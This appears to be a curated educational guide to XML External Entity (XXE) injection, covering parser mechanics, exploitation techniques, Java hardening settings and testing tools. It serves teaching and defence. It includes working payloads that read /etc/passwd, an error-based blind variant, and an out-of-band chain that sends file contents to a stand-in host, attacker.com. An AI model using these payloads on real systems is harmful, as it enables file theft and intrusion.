appsec.fyi

XXE — A Practical Guide

A curated AppSec resource library covering XSS, SQLi, SSRF, IDOR, RCE, XXE, OSINT, and more.

XXE: A Practical Guide

Curated and synthesized by . Last updated 2026-11-01. Synthesized from 88 of 88 curated resources. Browse all 88 XXE resources →

Problem Framing: The Enduring Threat of XML External Entity Injection

XML External Entity (XXE) injection remains a persistent and potent threat to application security, a fact underscored by its continued presence in the OWASP Top 10 and its frequent appearance in bug bounty reports [1][2][3][4][5][6]. Despite its age and extensive documentation, misconfigurations in XML parsers continue to leave applications vulnerable, enabling attackers to access sensitive data, compromise internal systems, and even achieve remote code execution [1][2][3][4][5][6].

At its core, XXE exploits the XML specification's ability to define and process external entities. When an XML parser encounters an entity reference pointing to an external resource (via a file path or URL) and this feature is enabled, it will attempt to fetch and include the content of that resource. If the application fails to properly restrict or disable this functionality, an attacker can manipulate it to their advantage [1][2][3][4][5][6]. This vulnerability is not confined to obvious XML endpoints; it can lurk within file upload functionalities (e.g., DOCX, XLSX, SVG files which contain XML), document converters, SOAP services, and even REST APIs configured to accept XML [7][1][8][5][9][10][11][12][13]. The pervasive use of XML parsers across diverse technologies and languages means that the attack surface for XXE is vast and often overlooked [2][5].

The impact of successful XXE exploitation is severe and multifaceted. Attackers can:

The persistence of XXE vulnerabilities stems from various factors: default insecure configurations in older libraries, explicit enabling of dangerous features by developers, reliance on outdated dependencies, and custom configurations that override secure defaults [1][5][36][6]. Even modern applications can fall victim if their XML processing components are not rigorously secured [1]. Understanding the core mechanics and the evolving exploitation techniques is crucial for practitioners to effectively defend against this enduring threat.

Core Mechanics: How XML Parsers Become Attack Vectors

The vulnerability of XML parsers to XXE attacks lies in their handling of entities, particularly external entities, which are defined within a Document Type Definition (DTD) [1][2][4][5][33][6].

Entities and DTDs

The Exploitation Chain

When an XML parser encounters an XML document containing a DTD that declares an external entity, and the parser is configured to process external entities, it performs the following:

1. Dereferencing the URI: The parser resolves the URI specified in the SYSTEM identifier. 2. Fetching External Content: If the URI points to a local file, the parser reads its contents. If it points to a URL, the parser initiates an HTTP (or other protocol) request to fetch the resource. 3. Substitution: The parser replaces the entity reference in the XML document with the fetched content [1][2][4][33][6].

For example, a basic XXE payload like the following:

<?xml version="1.0"?>

<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>

If processed by a vulnerable parser, the &xxe; reference would be replaced by the contents of /etc/passwd, potentially exposing this sensitive file [1][2][4][33][6].

Parameter Entities vs. General Entities

A critical distinction exists between general entities and parameter entities, especially in the context of XXE attacks:

Notable Techniques: Beyond Basic File Disclosure

While the fundamental mechanism of XXE is straightforward, the techniques employed by attackers have evolved to bypass filters, exfiltrate data out-of-band, and achieve more impactful results.

1. File Disclosure and Data Exfiltration

The most direct application of XXE is to read local files. By crafting an external entity that points to a sensitive file and including its reference within an XML element that is returned in the response, an attacker can obtain the file's contents [7][1][2][3][4][5][26][6].

Commonly targeted files include:

For files containing characters that could break XML structure (like newlines or XML special characters), PHP filter wrappers or other encoding mechanisms can be used. php://filter/convert.base64-encode/resource=/path/to/file is a common technique to base64 encode the file's content before exfiltration [21][24][25][26][33][42].

2. Server-Side Request Forgery (SSRF)

Instead of referencing local files, an external entity can point to any accessible URL. This transforms the XXE vulnerability into a Server-Side Request Forgery (SSRF) vulnerability, allowing the attacker to use the vulnerable server as a proxy to make requests to internal or external systems [28][29][17][30][1][19][20][31][3][4][5][26][32][9][33][6].

This is invaluable for:

The SSRF primitive can be used in a blind manner if the response from the internal request is not reflected, but the side-effect of the request (e.g., a response on an attacker-controlled server) can still confirm its success [28][43][38][44][45][39][40][41].

3. Blind XXE and Out-of-Band (OOB) Exfiltration

When applications do not reflect the results of XXE processing directly in their responses (e.g., no reflected error messages or data), the attack becomes "blind" [37][38][44][2][46][45][39][40][41][47][27]. In these scenarios, attackers must rely on out-of-band (OOB) communication channels to detect and exfiltrate data.

a. HTTP/DNS Out-of-Band Interaction

The most common OOB technique involves triggering the vulnerable server to make an HTTP request to an attacker-controlled server. This is achieved by defining an external entity pointing to the attacker's server and then invoking it. The attacker monitors their server logs for incoming requests, which confirm the XXE vulnerability [37][38][44][2][46][45][39][40][41][47][6].

A malicious external DTD is often hosted on the attacker's server. This DTD contains the logic to read a file and construct a URL with the file content as a query parameter, which is then requested by the vulnerable server [37][38][44][2][46][45][39][40][41][47].

A typical chain involves:

1. Defining a parameter entity %file to read a local file (file:///etc/hostname). 2. Defining another parameter entity %eval to dynamically declare an exfiltration entity %exfil that constructs a URL like http://attacker.com/?x=%file;. 3. Invoking %eval; followed by %exfil; to trigger the HTTP request [37][38][44][2][46][45][39][40][41].

Even if direct HTTP requests are blocked, DNS lookups can sometimes be used for OOB exfiltration by encoding data within subdomains [2][21][24][40][25][26].

b. Error-Based Blind XXE

If the application returns verbose error messages, attackers can craft payloads that trigger parsing errors containing sensitive data. For example, attempting to access a non-existent file whose name is constructed from the contents of a sensitive file can leak that file's content within the error message [1][38][2][39][40][41][47][27].

A common pattern involves defining an entity to read a file and then attempting to load a non-existent resource using that file's content as part of the path:

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % error SYSTEM "file:///nonexistent/%file;"> %error;

When the parser fails to find /nonexistent/root:x:0:0:root:/root:/bin/bash, the error message will contain the sensitive data [40][41][27].

4. Exploiting File Uploads

Applications that accept file uploads, particularly those that process XML-based formats, are susceptible to XXE. The server-side parsing of these files can trigger XXE vulnerabilities.

5. Exploiting Other Protocols and Wrappers

Beyond file:// and http://, XML parsers might support other protocols, expanding the attack surface.

6. Local DTD Reuse

In environments where direct OOB connections are blocked, attackers might exploit the presence of legitimate DTD files on the server. By crafting an XXE payload that forces the parser to load a local DTD and then redefines entities within that DTD, attackers can achieve data exfiltration or trigger errors with sensitive information [37][47][27][35]. Tools like dtd-finder can assist in locating such DTDs [47].

Detection & Prevention: Fortifying Against XXE

Effective defense against XXE vulnerabilities requires a multi-layered approach focusing on secure parser configuration and input validation.

Secure XML Parser Configuration

The most robust mitigation is to disable Document Type Definition (DTD) processing entirely in the XML parser [37][36][6]. This prevents the parser from loading external entities, whether from inline DTDs or external DTD files.

Concrete Java examples using DocumentBuilderFactory:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

// Disallow DTDs entirely. This is the most effective mitigation. factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Also good practice to disable XInclude if not needed. factory.setXIncludeAware(false);

// Further secure processing features factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

DocumentBuilder builder = factory.newDocumentBuilder(); // ... use builder to parse XML

[37][28][36]

If disabling DTDs entirely is not feasible, then disabling external general and parameter entities is the next best step [37][36].

// For parsers that cannot completely disable DTDs

factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

[36]

Other important secure configuration practices include:

Input Validation and Sanitization

While not a primary defense against XXE due to the complexity of XML structure, application-level input validation can act as a defense-in-depth measure.

Defense in Depth

  • Network Segmentation and Egress Filtering: Restrict outbound network traffic from application servers to only necessary destinations. This can limit the success of SSRF and OOB exfiltration attempts [28][14].
  • Web Application Firewalls (WAFs): While not foolproof, WAFs with custom rules can detect and block many common XXE payloads [7][22][26][36].
  • Least Privilege: Run XML parsers and application services under dedicated, non-root accounts with minimal file access privileges [14].
  • Keep Dependencies Updated: Regularly update XML parsing libraries and frameworks to patch known vulnerabilities [16][5].
  • Monitoring and Logging: Implement robust logging and monitoring to detect suspicious XML parsing activities, unusual outbound network connections, or error messages indicative of XXE attempts [22].

Tooling: Aids for Detection and Exploitation

A variety of tools can assist in identifying, testing, and exploiting XXE vulnerabilities.

Interception Proxies

  • Burp Suite: Essential for intercepting, modifying, and replaying HTTP requests containing XML payloads. Burp Collaborator is particularly useful for detecting blind XXE via OOB interactions [37][38][2][46][39][52][40][41][53][47][6].
  • OWASP ZAP: A free, open-source alternative to Burp Suite with similar interception and manipulation capabilities.

XXE Specific Tools

  • XXEinjector: A Ruby tool for automating XXE exploitation, supporting direct and out-of-band (HTTP, FTP, Gopher) methods, file reading, directory listing, and PHP expect:// wrapper exploitation [51][47].
  • XXExploiter: A Node.js application for generating XML payloads, serving DTDs, and performing data exfiltration. Supports various modes including file, expect, xee, and fuzzing capabilities [54].
  • Docem: A Python tool for embedding XXE and XSS payloads into OXML documents (DOCX, XLSX, etc.) for testing file upload vulnerabilities [48][11][55][13].
  • oxml_xxe: An older Ruby tool for embedding XXE exploits into OXML files [13].
  • dtd-finder: A tool to locate DTD files within archives that contain injectable entities, useful for Local DTD attacks [47].
  • Nuclei Templates: The Nuclei vulnerability scanner has numerous templates for detecting XXE vulnerabilities, including blind XXE and specific CVEs [56][26].

Other Useful Tools

  • ncat / netcat: For setting up listeners to receive OOB callbacks [57][50].
  • Python's http.server: A simple module for quickly setting up an HTTP server to receive OOB requests [21][24][40][25].
  • tcpdump: For capturing DNS or network traffic to monitor OOB interactions [21][24][40][25].

Recent Developments and Trends

While XXE is a mature vulnerability class, recent developments highlight its continued relevance and evolving exploitation vectors.

  • File Uploads Remain a Key Vector: The processing of XML-based file formats like OOXML (DOCX, XLSX) and SVG continues to be a significant attack surface [7][1][8][5][10][11][12][13]. Applications that parse these formats without secure XML processing are vulnerable.
  • Blind XXE and OOB are Standard: The techniques for blind XXE, particularly using external DTDs for OOB exfiltration via HTTP, DNS, or FTP, are now standard practice for exploiting XXE when direct reflection is impossible [37][38][44][2][46][45][39][40][41][47].
  • Exploitation in File Uploads of Office Documents: Discoveries of XXE vulnerabilities in the parsing of .docx, .xlsx, and .pptx files are still being reported [7][8][10][11][12].
  • Cloud Instance Metadata Exploitation: XXE remains a primary method for accessing cloud instance metadata and retrieving credentials [28][14][1][5][32][33][6].
  • Combined Exploits: XXE is often chained with other vulnerabilities. For example, a blind XXE in ManageEngine ADAudit Plus was used to plant a file, which was then leveraged with a Java deserialization vulnerability for RCE [57]. GeoNetwork's RCE was achieved by chaining an unauthenticated file upload with an unsafe XSLT processor, where XXE plays a role in the XSLT processing [29].
  • WAF and Filter Bypass: Attackers continuously develop techniques to bypass Web Application Firewalls and input filters that attempt to block XXE payloads, often through encoding or more complex DTD structures [47][27].
  • Vulnerabilities in Niche Software: XXE continues to be found in specialized software, including OT networking tools, geospatial metadata catalogs, and various enterprise applications [58][14][29][43][59][60][15][16][17][18][30][19][20][61][62][22][23][63][64].

Where to Go Deeper

To further your understanding and proficiency in XXE exploitation and defense, consult the following resources:

Sources cited in this guide

  1. XXE Vulnerability Guide 2025: How XML Attacks Still Threaten — instatunnel.my
  2. A Deep Dive Into XXE Injection (Synack) — synack.com
  3. XXE Complete Guide: Impact, Examples, and Prevention — hackerone.com
  4. XML External Entity (XXE) Processing | OWASP — owasp.org
  5. XML External Entity: The Ultimate Bug Bounty Guide to XXE | YesWeHack — yeswehack.com
  6. https://portswigger.net/web-security/xxe — portswigger.net
  7. The File That Answered Back — XXE Hidden in Cell A2 — infosecwriteups.com
  8. Exploiting XXE via File Uploads (SVG, XLSX, DOCX) — exploit-db.com
  9. h3xStream's blog: Identifying Xml eXternal Entity vulnerability (XXE) — blog.h3xstream.com
  10. 10 Types of Web Vulnerabilities that are Often Missed - Detectify Labs — labs.detectify.com
  11. GitHub - whitel1st/docem: A tool to embed XXE and XSS payloads in docx, odt, pptx, xlsx files (oxml_xxe on steroids) — github.com
  12. XXE attacks 😈 — link.medium.com
  13. BuffaloWill/oxml_xxe: A tool for embedding XXE/XML exploits into different — github.com
  14. openEQUELLA XXE in metadata field allows arbitrary file read — github.com
  15. GeoServer 2025 XXE Vulnerability (CVE-2025-58360) Explained — motasemhamdan.medium.com
  16. Critical Apache Tika Vulnerability Leads to XXE Injection — securityweek.com
  17. CVE-2025-30220: GeoServer WFS Service XML External Entity — miggo.io
  18. CVE-2025-27136: LocalS3 CreateBucketConfiguration XXE Injection — offsec.com
  19. Critical Apache Tika CVE-2025-66516: XXE Vulnerability — rescana.com
  20. XXE in GeoServer WFS Service (CVE-2025-30220) — kudelskisecurity.com
  21. Advanced XXE Exploitation: File Disclosure, Blind OOB, and RCE — github.com
  22. CVE-2025-11035: Jinher OA XXE Vulnerability — sentinelone.com
  23. CVE-2025-54254: Adobe Experience Manager Forms XXE Vulnerability — sentinelone.com
  24. Advanced XXE Exploitation: File Disclosure, Blind OOB, and RCE — github.com
  25. Comprehensive Guide to XXE Exploitation: Advanced Data Exfiltration and RCE — nullsecurityx.codes
  26. XML External Entity (XXE) Attack Guide | Hackviser — hackviser.com
  27. From blind XXE to root-level file read access – Honoki — honoki.net
  28. Exploiting XXE to Perform SSRF — yusufalmahmeed.com
  29. GeoNetwork - Pre-Auth RCE via Unauthenticated File Upload and Unsafe XSLT Processor (4 CVEs, 121 government deployments, all patched) — ethiack.com
  30. IBM Business Automation Workflow XXE (CVE-2025-13096) — ibm.com
  31. XXE Injection: Advanced Exploitation Guide — intigriti.com
  32. Exploiting XXE for SSRF. Retrieving IAM credentials of EC2… | by Gupta Bles — medium.com
  33. XXE - XEE - XML External Entity - HackTricks — book.hacktricks.xyz
  34. XXE - XML External Entity Attack — slideshare.net
  35. XXE - Things Are Getting Out of Band — blog.zsec.uk
  36. XML External Entity Prevention · OWASP Cheat Sheet Series — cheatsheetseries.owasp.org
  37. Exploiting Blind XXE to Exfiltrate Data via a Malicious External DTD — yusufalmahmeed.com
  38. Blind XXE Attacks: Out of Band Interaction Techniques to Exfiltrate Data — shreyapohekar.com
  39. Exploiting Blind XXE: Data Exfiltration Through External DTD — medium.com
  40. Blind XXE: Exfiltrating Data Out-of-Band in 2025 — instatunnel.my
  41. What is a Blind XXE Attack? | PortSwigger — portswigger.net
  42. XXE : From Zero to Hero — medium.com
  43. Pre-auth XXE → HTTP SSRF on ArubaOS 8.13.2 closed as "theoretical / no valid PoC" despite TCP pcap, sshd localhost log, and internal port scan — documenting for community review — netacoding.com
  44. Out-of-Band XML External Entity (OOB XXE) — invicti.com
  45. Out-of-Band XXE Attack with Sensitive Data Exfiltration — masterck.medium.com
  46. PortSwigger Blind XXE Lab Write-up — halleffect.medium.com
  47. https://www.noob.ninja/2019/12/spilling-local-files-via-xxe-when-http.html — noob.ninja
  48. https://www.hahwul.com/2019/09/28/oxml-xxe-payload-inject-tool-docem/ — hahwul.com
  49. XXE-OOB-Exfiltrator: Multi-line Content Exfiltration via External DTD — github.com
  50. XXE - Things Are Getting Out of Band — blog.zsec.uk
  51. Tool for automatic exploitation of XXE vulnerability using direct and diffe — github.com
  52. Blind XXE Lab: Exfiltrate Data Using Malicious External DTD — portswigger.net
  53. https://www.hackingarticles.in/burp-suite-for-pentester-hackbar/ — hackingarticles.in
  54. XXExploiter — github.com
  55. If you find powerful OXML XXE tool? it’s “DOCEM” — hahwul.com
  56. Exploiting Out-Of-Band XXE on Wildfire — dhiyaneshgeek.github.io
  57. Rapid7 Analysis: CVE-2022-28219 — rapid7.com
  58. ZDI-26-811 MailEnable parseObjectResponse XXE — zerodayinitiative.com
  59. CISA flags data-theft bug in NSA-built OT networking tool — theregister.com
  60. CISA flags data-theft bug in NSA-built OT networking tool — theregister.com
  61. XXE in Apache Struts CVE-2025-68493 — sangfor.com
  62. Cisco ISE XXE Information Disclosure — sec.cloudapps.cisco.com
  63. CVE-2026-29924: XXE Vulnerability — tenable.com
  64. CVE-2026-34401: XXE in Wwbn Avideo — mondoo.com
  65. Hacking Millions of Modems (and Investigating Who Hacked My Modem) — samcurry.net
  66. Cracked it! Highlights from KringleCon 5: Golden Rings — welivesecurity.com
  67. CVE-2024-30043: Exploiting XXE on SharePoint via Confused URL Parsing (PoC) — github.com
  68. CVE-2025-66516: Detecting and Defending Against Apache Tika XXE — akamai.com
  69. XXE Injection in langchain-community (CVE-2025-6984) — security.snyk.io
  70. XXElixir: Tool for Testing XXE via XLSX File Upload Poisoning — github.com
  71. How to Find XXE Bugs: Severe, Missed, and Misunderstood — bugcrowd.com
  72. Top 25 XXE Bug Bounty Reports — corneacristian.medium.com
  73. XXE Injection Overview — medium.com
  74. CVE-2025-49493: XXE in Akamai CloudTest — xbow.com
  75. What is XXE (XML External Entity) | Examples & Prevention | Imperva — imperva.com
  76. XML External Entities (XXE) | Pentesting Notes — notes.sfoffo.com
  77. https://www.slideshare.net/ssuserf09cba/xxe-how-to-become-a-jedi — slideshare.net
  78. Hunting in the Dark - Blind XXE — blog.zsec.uk
  79. GDS - Blog - Automated Data Exfiltration with XXE — blog.gdssecurity.com
  80. Advice From A Researcher: Hunting XXE For Fun and Profit — blog.bugcrowd.com
  81. GDS - Blog - Automated Data Exfiltration with XXE — blog.gdssecurity.com
  82. Awesome Bug Bounty Tools — github.com
  83. https://gosecure.github.io/xxe-workshop/#0 — gosecure.github.io
  84. XXE-study/xxe.php at master · HLOverflow/XXE-study — github.com
  85. XXE at Bol.com – Jonathan Bouman – Medium — medium.com
  86. XXE : From Zero to Hero — infosecwriteups.com
  87. How to Protect Text Input from XML External Entity (XXE) Attacks using Pyth — cloudmersive.medium.com
  88. Advice From A Researcher: Hunting XXE For Fun and Profit — blog.bugcrowd.com
📚 This guide is synthesized from the full text of resources curated in the XXE library, and refreshed as new material is added.